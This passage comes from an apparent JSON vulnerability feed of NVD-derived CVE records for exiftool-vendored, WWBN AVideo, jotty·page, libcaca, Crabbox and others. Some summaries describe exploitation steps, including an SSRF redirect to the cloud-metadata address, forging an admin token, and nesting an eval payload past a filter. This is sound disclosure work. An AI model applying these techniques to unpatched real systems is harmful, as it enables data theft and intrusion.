record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43893","cveId":"CVE-2026-43893","aliases":[],"kind":"vulnerability","title":"exiftool-vendored provides cross-platform Node.js access to ExifTool.","summary":"exiftool-vendored provides cross-platform Node.js access to ExifTool. Prior to 35.19.0, exiftool-vendored starts ExifTool in -stay_open True -@ - mode, where arguments are read from stdin one per line. In affected versions, several caller-supplied strings were interpolated into ExifTool arguments without rejecting line delimiters. A newline or carriage return inside one of those strings could split a single intended argument into multiple ExifTool arguments, allowing argument injection. The fix also rejects NUL bytes as unsafe control characters. Applications that pass attacker-controlled strings to affected APIs may allow an attacker to make ExifTool read files accessible to the ExifTool process, or write output to attacker-chosen file system paths accessible to that process. No remote code execution has been demonstrated. This vulnerability is fixed in 35.19.0.","detail":"exiftool-vendored provides cross-platform Node.js access to ExifTool. Prior to 35.19.0, exiftool-vendored starts ExifTool in -stay_open True -@ - mode, where arguments are read from stdin one per line. In affected versions, several caller-supplied strings were interpolated into ExifTool arguments without rejecting line delimiters. A newline or carriage return inside one of those strings could split a single intended argument into multiple ExifTool arguments, allowing argument injection. The fix also rejects NUL bytes as unsafe control characters. Applications that pass attacker-controlled strings to affected APIs may allow an attacker to make ExifTool read files accessible to the ExifTool process, or write output to attacker-chosen file system paths accessible to that process. No remote code execution has been demonstrated. This vulnerability is fixed in 35.19.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T22:22:14.033Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43893","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43893","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43893","type":"primary","publishedAt":"2026-05-11T22:22:14.033Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43885","cveId":"CVE-2026-43885","aliases":[],"kind":"vulnerability","title":"WWBN AVideo is an open source video platform.","summary":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.","detail":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T22:22:13.213Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43885","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43885","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43885","type":"primary","publishedAt":"2026-05-11T22:22:13.213Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43884","cveId":"CVE-2026-43884","aliases":[],"kind":"vulnerability","title":"WWBN AVideo is an open source video platform.","summary":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, two endpoints (plugin/AI/receiveAsync.json.php and objects/EpgParser.php) in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections. Commit 603e7bf77a835584387327e35560262feb075db3 contains an updated fix.","detail":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, two endpoints (plugin/AI/receiveAsync.json.php and objects/EpgParser.php) in AVideo call isSSRFSafeURL() to validate user-supplied URLs, then fetch them using bare file_get_contents() without disabling PHP's automatic redirect following. An attacker can supply a URL pointing to a server they control that returns a 302 redirect to an internal/cloud-metadata address (e.g., http://169.254.169.254/latest/meta-data/). Since isSSRFSafeURL() only validates the initial URL, the redirect target bypasses all SSRF protections. Commit 603e7bf77a835584387327e35560262feb075db3 contains an updated fix.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T22:22:13.073Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43884","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43884","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43884","type":"primary","publishedAt":"2026-05-11T22:22:13.073Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43873","cveId":"CVE-2026-43873","aliases":[],"kind":"vulnerability","title":"WWBN AVideo is an open source video platform.","summary":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/CloneSite/cloneClient.json.php echoes the local CloneSite shared secret ($objClone->myKey, a constant md5($global['systemRootPath'] . $global['salt'])) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before die(). When the victim has CloneSite configured with a remote cloneSiteURL (standard federation/backup setup), the leaked myKey is exactly the credential that authenticates the victim to that remote server's cloneServer.json.php, allowing the attacker to impersonate the victim and trigger a full mysqldump of the remote's database to the remote's public videos/clones/ directory Commit e6566f56a28f4556b2a0a09d03717a719dcb49da contains an updated fix.","detail":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, plugin/CloneSite/cloneClient.json.php echoes the local CloneSite shared secret ($objClone->myKey, a constant md5($global['systemRootPath'] . $global['salt'])) into the HTTP response body on every unauthenticated request. The unauthenticated error branch was intended to reject non-admin callers without a valid key, but the rejection message interpolates the expected key before die(). When the victim has CloneSite configured with a remote cloneSiteURL (standard federation/backup setup), the leaked myKey is exactly the credential that authenticates the victim to that remote server's cloneServer.json.php, allowing the attacker to impersonate the victim and trigger a full mysqldump of the remote's database to the remote's public videos/clones/ directory Commit e6566f56a28f4556b2a0a09d03717a719dcb49da contains an updated fix.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T22:22:11.703Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43873","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43873","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43873","type":"primary","publishedAt":"2026-05-11T22:22:11.703Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42564","cveId":"CVE-2026-42564","aliases":[],"kind":"vulnerability","title":"jotty·page is a self-hosted app for your checklists and notes.","summary":"jotty·page is a self-hosted app for your checklists and notes. Prior to 1.22.0, an unauthenticated path traversal vulnerability exists in /api/app-icons/[filename]. The filename route parameter is joined into a filesystem path without traversal/boundary validation, allowing file reads outside data/uploads/app-icons/. This vulnerability is fixed in 1.22.0.","detail":"jotty·page is a self-hosted app for your checklists and notes. Prior to 1.22.0, an unauthenticated path traversal vulnerability exists in /api/app-icons/[filename]. The filename route parameter is joined into a filesystem path without traversal/boundary validation, allowing file reads outside data/uploads/app-icons/. This vulnerability is fixed in 1.22.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T22:22:11.417Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42564","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42564","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42564","type":"primary","publishedAt":"2026-05-11T22:22:11.417Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-42046","cveId":"CVE-2026-42046","aliases":[],"kind":"vulnerability","title":"libcaca is a colour ASCII art library.","summary":"libcaca is a colour ASCII art library. In 0.99.beta20 and earlier, an integer overflow vulnerability in libcaca's canvas import functionality allows an attacker to cause a controlled heap out-of-bounds write (heap overflow) by supplying a crafted file in the \"caca\" format. Depending on the build configuration and memory allocator, this may lead to memory corruption or remote code execution. This is the same vulnerability as CVE-2021-3410 but the fix at that time was not fully correct. Commit fb77acff9ba6bb01d53940da34fb10f20b156a23 fixes this vulnerability.","detail":"libcaca is a colour ASCII art library. In 0.99.beta20 and earlier, an integer overflow vulnerability in libcaca's canvas import functionality allows an attacker to cause a controlled heap out-of-bounds write (heap overflow) by supplying a crafted file in the \"caca\" format. Depending on the build configuration and memory allocator, this may lead to memory corruption or remote code execution. This is the same vulnerability as CVE-2021-3410 but the fix at that time was not fully correct. Commit fb77acff9ba6bb01d53940da34fb10f20b156a23 fixes this vulnerability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T22:22:11.130Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42046","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42046","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42046","type":"primary","publishedAt":"2026-05-11T22:22:11.130Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43874","cveId":"CVE-2026-43874","aliases":[],"kind":"vulnerability","title":"WWBN AVideo is an open source video platform.","summary":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, the server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (from CVE-2026-40911) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval(). Commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contains an updated fix.","detail":"WWBN AVideo is an open source video platform. In versions up to and including 29.0, the server-side mitigation for the YPTSocket autoEvalCodeOnHTML eval sink (from CVE-2026-40911) only strips the payload when it sits under $json['msg'], but the relay function msgToResourceId() selects the outbound message from $msg['json'] before $msg['msg']. An unauthenticated attacker can obtain a WebSocket token from plugin/YPTSocket/getWebSocket.json.php, connect to the WebSocket server, and send a message with autoEvalCodeOnHTML nested under a top-level json field — the strip branch is skipped, the relay delivers the payload verbatim to any logged-in user identified by to_users_id, and the client script runs it through eval(). Commit 9f3006f9a89a34daa67a83c6ad35f450cb91fcce contains an updated fix.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T21:19:02.120Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43874","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43874","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43874","type":"primary","publishedAt":"2026-05-11T21:19:02.120Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8321","cveId":"CVE-2026-8321","aliases":[],"kind":"vulnerability","title":"A vulnerability was detected in inkeep agents 0.58.14. This vulnerability affects the function createDevContext of the file agents-api/src/middleware/runAuth.ts of the component...","summary":"A vulnerability was detected in inkeep agents 0.58.14. This vulnerability affects the function createDevContext of the file agents-api/src/middleware/runAuth.ts of the component runAuth Middleware. Performing a manipulation results in authentication bypass using alternate channel. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.","detail":"A vulnerability was detected in inkeep agents 0.58.14. This vulnerability affects the function createDevContext of the file agents-api/src/middleware/runAuth.ts of the component runAuth Middleware. Performing a manipulation results in authentication bypass using alternate channel. The attack is possible to be carried out remotely. The exploit is now public and may be used. The project was informed of the problem early through an issue report but has not responded yet.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T20:25:48.547Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8321","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8321","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8321","type":"primary","publishedAt":"2026-05-11T20:25:48.547Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7790","cveId":"CVE-2026-7790","aliases":[],"kind":"vulnerability","title":"Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.","summary":"Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.\n\nThe chunked transfer-encoding parser in cow_http_te accepts an unbounded number of hex digits in the chunk-size field. Each digit causes a bignum multiplication (Len * 16 + digit), so parsing N hex digits requires O(N²) CPU work and O(N) memory. Additionally, when input is drip-fed, the parser discards the accumulated length on each partial read and restarts from zero on resumption, raising the cost to O(N³). An unauthenticated remote attacker can exploit this by sending an HTTP/1.1 request with Transfer-Encoding: chunked and a very long chunk-size hex string to cause denial of service through CPU exhaustion and memory amplification.\n\nThis vulnerability is associated with program file src/cow_http_te.erl and program routines cow_http_te:stream_chunked/2, cow_http_te:chunked_len/4.\n\nThis issue affects cowlib: from 0.6.0 before 2.16.1.","detail":"Uncontrolled Resource Consumption vulnerability in ninenines cowlib (cow_http_te module) allows Excessive Allocation.\n\nThe chunked transfer-encoding parser in cow_http_te accepts an unbounded number of hex digits in the chunk-size field. Each digit causes a bignum multiplication (Len * 16 + digit), so parsing N hex digits requires O(N²) CPU work and O(N) memory. Additionally, when input is drip-fed, the parser discards the accumulated length on each partial read and restarts from zero on resumption, raising the cost to O(N³). An unauthenticated remote attacker can exploit this by sending an HTTP/1.1 request with Transfer-Encoding: chunked and a very long chunk-size hex string to cause denial of service through CPU exhaustion and memory amplification.\n\nThis vulnerability is associated with program file src/cow_http_te.erl and program routines cow_http_te:stream_chunked/2, cow_http_te:chunked_len/4.\n\nThis issue affects cowlib: from 0.6.0 before 2.16.1.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T19:16:29.477Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":"ninenines","product":"cowlib","stacks":["Ninenines","cowlib"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7790","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7790","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7790","type":"primary","publishedAt":"2026-05-11T19:16:29.477Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45224","cveId":"CVE-2026-45224","aliases":[],"kind":"vulnerability","title":"Crabbox before 0.9.0 contains a path traversal vulnerability in the Islo provider's workspace path resolution that allows attackers to supply absolute or relative paths that...","summary":"Crabbox before 0.9.0 contains a path traversal vulnerability in the Islo provider's workspace path resolution that allows attackers to supply absolute or relative paths that resolve outside the intended /workspace directory. Attackers can craft a malicious .crabbox.yaml or crabbox.yaml file with traversal sequences to cause arbitrary file deletion and overwrite when sync.delete is enabled, as the workspace preparation logic executes rm -rf and mkdir -p operations on the resolved path without proper validation.","detail":"Crabbox before 0.9.0 contains a path traversal vulnerability in the Islo provider's workspace path resolution that allows attackers to supply absolute or relative paths that resolve outside the intended /workspace directory. Attackers can craft a malicious .crabbox.yaml or crabbox.yaml file with traversal sequences to cause arbitrary file deletion and overwrite when sync.delete is enabled, as the workspace preparation logic executes rm -rf and mkdir -p operations on the resolved path without proper validation.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T19:16:28.297Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.8,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45224","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45224","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45224","type":"primary","publishedAt":"2026-05-11T19:16:28.297Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-45223","cveId":"CVE-2026-45223","aliases":[],"kind":"vulnerability","title":"Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads...","summary":"Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads containing an admin claim, allowing attackers to escalate privileges. An attacker with access to the shared non-admin token can craft a user-token payload with admin: true, sign it using HMAC-SHA256, and present it to admin-only coordinator routes to gain full coordinator admin access including lease visibility, pool state management, and forced release operations.","detail":"Crabbox before 0.9.0 contains an authentication bypass vulnerability in the coordinator user-token verification path where the verifyUserToken() function fails to reject payloads containing an admin claim, allowing attackers to escalate privileges. An attacker with access to the shared non-admin token can craft a user-token payload with admin: true, sign it using HMAC-SHA256, and present it to admin-only coordinator routes to gain full coordinator admin access including lease visibility, pool state management, and forced release operations.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-11T19:16:28.103Z","updatedAt":"2026-10-26T18:10:00.173Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-45223","asOf":"2026-10-26T18:10:00.173Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-45223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45223","type":"primary","publishedAt":"2026-05-11T19:16:28.103Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7210","cveId":"CVE-2026-7210","aliases":[],"kind":"vulnerability","title":"`xml.parsers.expat` and `xml.etree.ElementTree` use insufficient entropy for Expat hash-flooding protection, which allows a crafted XML document to trigger hash...","summary":"`xml.parsers.expat` and 